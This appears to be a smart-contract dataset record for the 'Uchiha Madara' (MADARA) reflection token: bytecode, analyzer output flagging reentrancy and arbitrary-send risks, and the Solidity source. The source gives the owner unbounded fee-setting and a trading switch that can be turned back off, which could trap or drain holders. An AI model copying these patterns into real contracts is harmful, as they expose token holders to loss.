b565b840191505092915050565b6000612b22602383613044565b9150612b2d8261331c565b604082019050919050565b6000612b45602a83613044565b9150612b508261336b565b604082019050919050565b6000612b68602283613044565b9150612b73826133ba565b604082019050919050565b6000612b8b601b83613044565b9150612b9682613409565b602082019050919050565b6000612bae601d83613044565b9150612bb982613432565b602082019050919050565b6000612bd1602183613044565b9150612bdc8261345b565b604082019050919050565b6000612bf4602083613044565b9150612bff826134aa565b602082019050919050565b6000612c17602983613044565b9150612c22826134d3565b604082019050919050565b6000612c3a602583613044565b9150612c4582613522565b604082019050919050565b6000612c5d602483613044565b9150612c6882613571565b604082019050919050565b6000612c80601783613044565b9150612c8b826135c0565b602082019050919050565b612c9f816131a8565b82525050565b612cae816131b2565b82525050565b6000602082019050612cc96000830184612a51565b92915050565b6000604082019050612ce46000830185612a51565b612cf16020830184612a51565b9392505050565b6000604082019050612d0d6000830185612a51565b612d1a6020830184612c96565b9392505050565b600060c082019050612d366000830189612a51565b612d436020830188612c96565b612d506040830187612acd565b612d5d6060830186612acd565b612d6a6080830185612a51565b612d7760a0830184612c96565b979650505050505050565b6000602082019050612d976000830184612abe565b92915050565b60006020820190508181036000830152612db78184612adc565b905092915050565b60006020820190508181036000830152612dd881612b15565b9050919050565b60006020820190508181036000830152612df881612b38565b9050919050565b60006020820190508181036000830152612e1881612b5b565b9050919050565b60006020820190508181036000830152612e3881612b7e565b9050919050565b60006020820190508181036000830152612e5881612ba1565b9050919050565b60006020820190508181036000830152612e7881612bc4565b9050919050565b60006020820190508181036000830152612e9881612be7565b9050919050565b60006020820190508181036000830152612eb881612c0a565b9050919050565b60006020820190508181036000830152612ed881612c2d565b9050919050565b60006020820190508181036000830152612ef881612c50565b9050919050565b60006020820190508181036000830152612f1881612c73565b9050919050565b6000602082019050612f346000830184612c96565b92915050565b600060a082019050612f4f6000830188612c96565b612f5c6020830187612acd565b8181036040830152612f6e8186612a60565b9050612f7d6060830185612a51565b612f8a6080830184612c96565b9695505050505050565b6000602082019050612fa96000830184612ca5565b92915050565b6000612fb9612fca565b9050612fc58282613204565b919050565b6000604051905090565b600067ffffffffffffffff821115612fef57612fee6132dc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613060826131a8565b915061306b836131a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130a05761309f61327e565b5b828201905092915050565b60006130b6826131a8565b91506130c1836131a8565b9250826130d1576130d06132ad565b5b828204905092915050565b60006130e7826131a8565b91506130f2836131a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561312b5761312a61327e565b5b828202905092915050565b6000613141826131a8565b915061314c836131a8565b92508282101561315f5761315e61327e565b5b828203905092915050565b600061317582613188565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131ca826131a8565b9050919050565b60005b838110156131ef5780820151818401526020810190506131d4565b838111156131fe576000848401525b50505050565b61320d8261330b565b810181811067ffffffffffffffff8211171561322c5761322b6132dc565b5b80604052505050565b6000613240826131a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132735761327261327e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f28161316a565b81146135fd57600080fd5b50565b6136098161317c565b811461361457600080fd5b50565b613620816131a8565b811461362b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636568747470733a2f2f742e6d652f65526169636875202d2028726169636875636f696e2e636f6d29a26469706673582212206884d7cce7daa069fa5d6d4472cedc750d7a824da67476e813278582ad03366764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,356 |
0xCf97F7Ba29dC39dd47b5AF86fD0f3d7995765e31
|
/**
https://t.me/MadaraETH
https://www.madaratoken.com
Antiwhale, Max wallet, Callers lined up. Join us in achieving the Madara Glory Days!
2% Max wallet, 1% max transaction
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Madara is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Uchiha Madara";
string private constant _symbol = "MADARA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x36F846402F65d30d7589062E2B17f62CcbD7e8E3);
address payable private _marketingAddress = payable(0x36F846402F65d30d7589062E2B17f62CcbD7e8E3);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
//Total Supply 1000000000
//10000000
//1000000000
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101bb5760003560e01c80637f2feddc116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146105f5578063dd62ed3e1461061e578063ea1644d51461065b578063f2fde38b14610684576101c2565b8063a9059cbb14610564578063bfd79284146105a1578063c3c8cd80146105de576101c2565b80638f9a55c0116100c65780638f9a55c0146104bc57806395d89b41146104e757806398a5c31514610512578063a2a957bb1461053b576101c2565b80637f2feddc1461042b5780638da5cb5b146104685780638f70ccf714610493576101c2565b806349bd5a5e1161015957806370a082311161013357806370a0823114610383578063715018a6146103c057806374010ece146103d75780637d1db4a514610400576101c2565b806349bd5a5e146103185780636d8aa8f8146103435780636fc3eaec1461036c576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd146102855780632fd689e3146102c2578063313ce567146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106ad565b6040516101e991906128c7565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612987565b6106ea565b60405161022691906129e2565b60405180910390f35b34801561023b57600080fd5b50610244610708565b6040516102519190612a5c565b60405180910390f35b34801561026657600080fd5b5061026f61072e565b60405161027c9190612a86565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190612aa1565b61073e565b6040516102b991906129e2565b60405180910390f35b3480156102ce57600080fd5b506102d7610817565b6040516102e49190612a86565b60405180910390f35b3480156102f957600080fd5b5061030261081d565b60405161030f9190612b10565b60405180910390f35b34801561032457600080fd5b5061032d610826565b60405161033a9190612b3a565b60405180910390f35b34801561034f57600080fd5b5061036a60048036038101906103659190612b81565b61084c565b005b34801561037857600080fd5b506103816108fe565b005b34801561038f57600080fd5b506103aa60048036038101906103a59190612bae565b6109cf565b6040516103b79190612a86565b60405180910390f35b3480156103cc57600080fd5b506103d5610a20565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612bdb565b610b73565b005b34801561040c57600080fd5b50610415610c12565b6040516104229190612a86565b60405180910390f35b34801561043757600080fd5b50610452600480360381019061044d9190612bae565b610c18565b60405161045f9190612a86565b60405180910390f35b34801561047457600080fd5b5061047d610c30565b60405161048a9190612b3a565b60405180910390f35b34801561049f57600080fd5b506104ba60048036038101906104b59190612b81565b610c59565b005b3480156104c857600080fd5b506104d1610d0b565b6040516104de9190612a86565b60405180910390f35b3480156104f357600080fd5b506104fc610d11565b60405161050991906128c7565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612bdb565b610d4e565b005b34801561054757600080fd5b50610562600480360381019061055d9190612c08565b610ded565b005b34801561057057600080fd5b5061058b60048036038101906105869190612987565b610ea4565b60405161059891906129e2565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c39190612bae565b610ec2565b6040516105d591906129e2565b60405180910390f35b3480156105ea57600080fd5b506105f3610ee2565b005b34801561060157600080fd5b5061061c60048036038101906106179190612cd4565b610fbb565b005b34801561062a57600080fd5b5061064560048036038101906106409190612d34565b6110f5565b6040516106529190612a86565b60405180910390f35b34801561066757600080fd5b50610682600480360381019061067d9190612bdb565b61117c565b005b34801561069057600080fd5b506106ab60048036038101906106a69190612bae565b61121b565b005b60606040518060400160405280600d81526020017f556368696861204d616461726100000000000000000000000000000000000000815250905090565b60006106fe6106f76113dd565b84846113e5565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600061074b8484846115b0565b61080c846107576113dd565b6108078560405180606001604052806028815260200161381c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107bd6113dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d529092919063ffffffff16565b6113e5565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108546113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d890612dc0565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093f6113dd565b73ffffffffffffffffffffffffffffffffffffffff1614806109b55750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099d6113dd565b73ffffffffffffffffffffffffffffffffffffffff16145b6109be57600080fd5b60004790506109cc81611db6565b50565b6000610a19600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e22565b9050919050565b610a286113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac90612dc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b7b6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90612dc0565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c616113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce590612dc0565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f4d41444152410000000000000000000000000000000000000000000000000000815250905090565b610d566113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dda90612dc0565b60405180910390fd5b8060188190555050565b610df56113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7990612dc0565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000610eb8610eb16113dd565b84846115b0565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f236113dd565b73ffffffffffffffffffffffffffffffffffffffff161480610f995750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f816113dd565b73ffffffffffffffffffffffffffffffffffffffff16145b610fa257600080fd5b6000610fad306109cf565b9050610fb881611e90565b50565b610fc36113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790612dc0565b60405180910390fd5b60005b838390508110156110ef57816005600086868581811061107657611075612de0565b5b905060200201602081019061108b9190612bae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806110e790612e3e565b915050611053565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111846113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611211576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120890612dc0565b60405180910390fd5b8060178190555050565b6112236113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a790612dc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131790612ef9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c90612f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bc9061301d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a39190612a86565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611620576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611617906130af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611690576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168790613141565b60405180910390fd5b600081116116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca906131d3565b60405180910390fd5b6116db610c30565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117495750611719610c30565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a5157601560149054906101000a900460ff166117d85761176a610c30565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ce90613265565b60405180910390fd5b5b60165481111561181d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611814906132d1565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146118ca576017548161187f846109cf565b61188991906132f1565b106118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c0906133b9565b60405180910390fd5b5b60006118d5306109cf565b90506000601854821015905060165482106118f05760165491505b808015611908575060158054906101000a900460ff16155b80156119625750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561197a5750601560169054906101000a900460ff165b80156119d05750600560008673ffffffffffffffffffffffffffffffffffffffff1673ff